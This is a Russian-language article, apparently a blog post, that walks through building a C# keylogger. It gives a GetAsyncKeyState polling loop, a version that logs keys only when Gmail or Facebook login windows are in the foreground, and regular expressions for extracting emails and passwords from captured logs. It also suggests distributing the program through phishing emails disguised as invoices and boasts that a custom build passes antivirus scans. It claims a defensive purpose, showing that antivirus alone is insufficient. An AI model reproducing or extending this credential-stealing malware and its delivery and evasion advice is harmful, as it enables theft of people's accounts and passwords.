Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.



Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:


1. 2. 3. public static extern int GetAsyncKeyState(Int32 i);

Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN :


Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:


1. while (true) 2. { 3. Thread.Sleep(100); 4. for (Int32 i = 0; i < 255; i++) 5. { 6. int state = GetAsyncKeyState(i); 7. if (state == 1 || state == -32767) 8. { 9. Console.WriteLine((Keys)i); 10. 11. } 12. } 13. }

Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.


Умный кейлогер

Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.


Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.


Вторая версия кода:


1. while (true) 2. { 3. IntPtr handle = GetForegroundWindow(); 4. if (GetWindowText(handle, buff, chars) > 0) 5. { 6. string line = buff.ToString(); 7. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up ")) 8. { 9. //проверка клавиатуры 10. } 11. } 12. Thread.Sleep(100); 13. }

Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.


Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.


Еще более умный кейлогер


Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.


Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:


1. //Ищем почтовый адрес 2. ^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$ 3. 4. 5. //Ищем пароль 6. (?=^.{6,}$)(?=.*\d)(?=.*)

Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.


Для C# это выглядит так:


1. Regex re = new Regex(@"^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$"); 2. Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*\d)(?=.*)"); 3. string email = "[email protected]"; 4. string pass = "abcde3FG"; 5. Match result = re.Match(email); 6. Match result2 = re2.Match(pass);

Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.


Бесплатно и полностью не обнаружим


В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.


Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?


Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.



В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.


Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов , чтобы выявить потенциально вредоносные действия.


В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.